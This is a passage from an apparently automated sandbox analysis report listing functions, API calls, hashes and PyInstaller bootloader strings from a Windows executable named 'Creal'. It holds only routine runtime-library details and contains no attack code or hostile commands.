Instruction Fuzzy Hash: BC41C133908343A7EA64EA2DE551179F7A0EF65780F901135EA8E43691CF3FE402D76A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B682B0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF738B6835A

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 6a4acc1040822c54f58c35978085681e12edb16c02e283760b9f8a50a2a640da
Instruction ID: dbdf6a41f0bbdcc75abbd520a5f730b4d5ad555d0f56281077fbd4c50acee737
Opcode Fuzzy Hash: 6a4acc1040822c54f58c35978085681e12edb16c02e283760b9f8a50a2a640da
Instruction Fuzzy Hash: 5121A222B4825365FA10BA1665043BAE651BF49BD4FCC5030FE4D0B786DE3EE001962A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7BEFC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B7BF82

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cf493e245973df117cfb9bdb4be30e1b7cc3e093745a0bb3aa436662ba277ffd
Instruction ID: 1e22d4c3a07d3a41751c01e405dd75f65b87c8512221c630ae7c66a694043a60
Opcode Fuzzy Hash: cf493e245973df117cfb9bdb4be30e1b7cc3e093745a0bb3aa436662ba277ffd
Instruction Fuzzy Hash: 9C316B23E18743A5F651BB59884137CE650AF80FA5F910135FA5D0B3D2CE7EE442AA2A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B79EF1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF738B79F1F

Part of subcall function 00007FF738B7A018: GetModuleHandleExW.KERNEL32 ref: 00007FF738B7A03D
Part of subcall function 00007FF738B7A018: GetProcAddress.KERNEL32 ref: 00007FF738B7A053
Part of subcall function 00007FF738B7A018: FreeLibrary.KERNEL32 ref: 00007FF738B7A07A

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: faec72fd928e516d4d760f4a89c99e996b8e0a7f11e884b20412009018256aa7
Instruction ID: 9b2b967b060dffb5ee78b75c6caac378201b9cdeda560cbd3a8a63abce09a6c7
Opcode Fuzzy Hash: faec72fd928e516d4d760f4a89c99e996b8e0a7f11e884b20412009018256aa7
Instruction Fuzzy Hash: 8D21A132A047429AEB24AF78C4402ECB3A4EF04718F940639E62D4ABD5DF3DE544D755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B764A8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B7640D

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction ID: 51fc23ea3de4126172a04f4773fad28f7dd14e1c18f087b45646f0dd58d19ce1
Opcode Fuzzy Hash: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction Fuzzy Hash: B211A523E1C74391EA60BF19940127EE264BF86B80F944431FA4D47AC6DF7ED840A72A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B86CAC Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B86CCF

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c0ad99c40d53020ccb328d164a39266f2dfd48b33636b9c7a3122610519525da
Instruction ID: 55d7f733ead8b21554da4237a8637a01526ece96e138e0b087d99d7a6cd9f41b
Opcode Fuzzy Hash: c0ad99c40d53020ccb328d164a39266f2dfd48b33636b9c7a3122610519525da
Instruction Fuzzy Hash: 7221F233A08A8396DB60AF18E440379F2A0FB85B54FA44238EA5D476D9DF3ED8049B15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B704FC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B70550

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
Instruction ID: f0b1b1a13389ed267054922fdea10c9dcf58b1186a97c740a5331db6fe04e5d2
Opcode Fuzzy Hash: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
Instruction Fuzzy Hash: 8501A522A0878350EA04EB5A994006DE695BF85FE0F884631FE6C17BD6CE3EE4029315

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7827C Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B782A7

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 94f8dedca99e8e5f97d7803b63f363a8ae8936c7a006dfc60ce4e9976b5f5c5f
Instruction ID: f66f5d57ee95c41496b41ad31bc24f2a0a6cc6a21609af945a26e23063a79d95
Opcode Fuzzy Hash: 94f8dedca99e8e5f97d7803b63f363a8ae8936c7a006dfc60ce4e9976b5f5c5f
Instruction Fuzzy Hash: DC115E33918B43E6E311AB18A440469E651EF44740F950035FA5D57692DF3EF811A72E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7F158 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF738B7B9A6,?,?,?,00007FF738B7AB67,?,?,00000000,00007FF738B7AE02), ref: 00007FF738B7F1AD

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3903a8e07e771c3ce20f22a7cfda351bfc6825da59dd5d1b3ed6874a84ef80bd
Instruction ID: bb0b4d03c01e7241bf25f9b00baaf5d9c14b48ff0d51d606b7c8973f90a3a44e
Opcode Fuzzy Hash: 3903a8e07e771c3ce20f22a7cfda351bfc6825da59dd5d1b3ed6874a84ef80bd
Instruction Fuzzy Hash: 49F04F07B09347A2FE95766999102B6D2915F88B90FC84430ED1E467D1DE3EE440A23E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7DBBC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF738B70D24,?,?,?,00007FF738B72236,?,?,?,?,?,00007FF738B73829), ref: 00007FF738B7DBFA

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4a58605cc4c1e1369a1067e1172dc77d995423b1642967883a658540b08b4ee9
Instruction ID: fd7bef8ab7110146fd3cb45508164a4edba745340dc1ad3ebbd07e27eb1c60c4
Opcode Fuzzy Hash: 4a58605cc4c1e1369a1067e1172dc77d995423b1642967883a658540b08b4ee9
Instruction Fuzzy Hash: 20F05E02B0C34765FE5477755801275D1909F847E0F8C4634E92E8A2C5DD7EA444A23A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B683E0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 5fa28e36025bd9fe9b761eb46eefd3724bf101683452c01a56c5c02a220ce566
Instruction ID: 251da5da5336d69a201b2d09f53a75836203c382a5309c860c14f2fea25f643c
Opcode Fuzzy Hash: 5fa28e36025bd9fe9b761eb46eefd3724bf101683452c01a56c5c02a220ce566
Instruction Fuzzy Hash: F541A517D1C68791EA11AB2495022FDE360FFA5744F84A232DB8D42293EF39F6D8D325

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF738B61F50 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF738B61F9E
MulDiv.KERNEL32 ref: 00007FF738B61FB2
MulDiv.KERNEL32 ref: 00007FF738B61FD3
SystemParametersInfoW.USER32 ref: 00007FF738B6201B
CreateFontIndirectW.GDI32 ref: 00007FF738B6202F
#380.COMCTL32 ref: 00007FF738B62053
CreateWindowExW.USER32 ref: 00007FF738B620A6
CreateWindowExW.USER32 ref: 00007FF738B62100
CreateWindowExW.USER32 ref: 00007FF738B6215D
CreateWindowExW.USER32 ref: 00007FF738B621BF
SendMessageW.USER32 ref: 00007FF738B621DF
SendMessageW.USER32 ref: 00007FF738B621F9
SendMessageW.USER32 ref: 00007FF738B62218
SendMessageW.USER32 ref: 00007FF738B62237
SendMessageW.USER32 ref: 00007FF738B62255
SendMessageW.USER32 ref: 00007FF738B62273
SendMessageW.USER32 ref: 00007FF738B62291
SendMessageW.USER32 ref: 00007FF738B622A9
SendMessageW.USER32 ref: 00007FF738B622C1
GetClientRect.USER32 ref: 00007FF738B622D0

Part of subcall function 00007FF738B623F0: GetDC.USER32 ref: 00007FF738B6241B
Part of subcall function 00007FF738B623F0: SelectObject.GDI32 ref: 00007FF738B62462
Part of subcall function 00007FF738B623F0: DrawTextW.USER32 ref: 00007FF738B62485
Part of subcall function 00007FF738B623F0: SelectObject.GDI32 ref: 00007FF738B6249B
Part of subcall function 00007FF738B623F0: ReleaseDC.USER32 ref: 00007FF738B624AB
Part of subcall function 00007FF738B623F0: MoveWindow.USER32 ref: 00007FF738B624FB
Part of subcall function 00007FF738B623F0: MoveWindow.USER32 ref: 00007FF738B6253B
Part of subcall function 00007FF738B623F0: MoveWindow.USER32 ref: 00007FF738B6258E

Strings

STATIC, xrefs: 00007FF738B6205C, 00007FF738B620B1
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF738B61F7D
EDIT, xrefs: 00007FF738B6210B
Close, xrefs: 00007FF738B62168
BUTTON, xrefs: 00007FF738B62176

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
Instruction ID: 8a736434b495992996d1d5eb4d75554819ca1d14a3325ee9ce1108040958be6f
Opcode Fuzzy Hash: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
Instruction Fuzzy Hash: AAA16977608B8697E7149F21E45479AF360FB88B84F904129EBAD03B25CF3EE164CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B68560 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF738B62A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B68587
FormatMessageW.KERNEL32 ref: 00007FF738B685B6
WideCharToMultiByte.KERNEL32 ref: 00007FF738B6860C

Part of subcall function 00007FF738B629E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF738B687F2,?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B62A14
Part of subcall function 00007FF738B629E0: MessageBoxW.USER32 ref: 00007FF738B62AF0

Strings

No error messages generated., xrefs: 00007FF738B685C0
PyInstaller: FormatMessageW failed., xrefs: 00007FF738B685D3
FormatMessageW, xrefs: 00007FF738B685C7
Failed to encode wchar_t as UTF-8., xrefs: 00007FF738B68616
WideCharToMultiByte, xrefs: 00007FF738B6861D
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF738B68629

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 6472fed7a38855fe53d018715946baf175a16c93e2266fbaa2446d02f1e91665
Instruction ID: ebacafda308526b1b98485b2f8d4a11381550fe6bc270eba228243103de7e468
Opcode Fuzzy Hash: 6472fed7a38855fe53d018715946baf175a16c93e2266fbaa2446d02f1e91665
Instruction Fuzzy Hash: B9214473618A83A1F720AB15E844666E361FF88384FC40139D54D436A5EF7DD145EB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6C57C Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF738B6C598
RtlCaptureContext.KERNEL32 ref: 00007FF738B6C5C5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF738B6C5DF
RtlVirtualUnwind.KERNEL32 ref: 00007FF738B6C620
IsDebuggerPresent.KERNEL32 ref: 00007FF738B6C674
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF738B6C695
UnhandledExceptionFilter.KERNEL32 ref: 00007FF738B6C6A0

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 2f0e84db8cb7341a902ef28a41a93ef6eb2637ed36960dc0fb1294147411c1b9
Instruction ID: ee0b4e8c3056f373d3af24620365bfe67b36a1a1c64316dddaf4bde7462206d0
Opcode Fuzzy Hash: 2f0e84db8cb7341a902ef28a41a93ef6eb2637ed36960dc0fb1294147411c1b9
Instruction Fuzzy Hash: 78318173618B8296EB60AF60E8503EEB360FB84744F84403ADA4D47B95DF3DD648C729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7ABD8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF738B7AC51
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF738B7AC69
RtlVirtualUnwind.KERNEL32 ref: 00007FF738B7ACA4
IsDebuggerPresent.KERNEL32 ref: 00007FF738B7ACDD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF738B7ACE7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF738B7ACF2

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 4ac1c30ff9e2098ff7eaac683efdfbba3e64979dbffe5e0d25534f02cf004e64
Instruction ID: e02113328afdaea8bac3c420b7a082d3d83aa335edccff5b2998f443488dcb3a
Opcode Fuzzy Hash: 4ac1c30ff9e2098ff7eaac683efdfbba3e64979dbffe5e0d25534f02cf004e64
Instruction Fuzzy Hash: 1C31B433618B8296DB60EF25E8402AEF3A0FB84754F940135EA9D47BA5DF3DD145CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B81EE4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B81F30
FindFirstFileExW.KERNEL32 ref: 00007FF738B8203A

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: e601e72e586d0b4de4a5ebf73eb2eb015632a136167348e3e84c4a74a70f75b2
Instruction ID: 0cb79a241d2c2e8c22deabfa6206737b7ba185f0ad713ae077081fa863fd1970
Opcode Fuzzy Hash: e601e72e586d0b4de4a5ebf73eb2eb015632a136167348e3e84c4a74a70f75b2
Instruction Fuzzy Hash: 65B1D123B186C7A1EA60BB35D8001BAE351EB44BD4F945139EE9D07A85DF3EE441E31A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B83AF0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF738B83AF4

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2a498131316ba0cf2da72d1126b97be92acaa4b08e35d008cc1bd8d186f782f7
Instruction ID: aeb1b98e02ada693dcdd4b6b0448868d520fb08adbe9ee34d575a6320e645475
Opcode Fuzzy Hash: 2a498131316ba0cf2da72d1126b97be92acaa4b08e35d008cc1bd8d186f782f7
Instruction Fuzzy Hash: 9BB09221E1BA87D2EB893B216C86215A2A4BF48F00FD48038C10D45320DE3D20B56726

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B651E0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B651F0
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B6522A
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B6524F
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B65274
GetProcAddress.KERNEL32(?,?,00000000,00007FF738B6346E), ref: 00007FF738B6529C
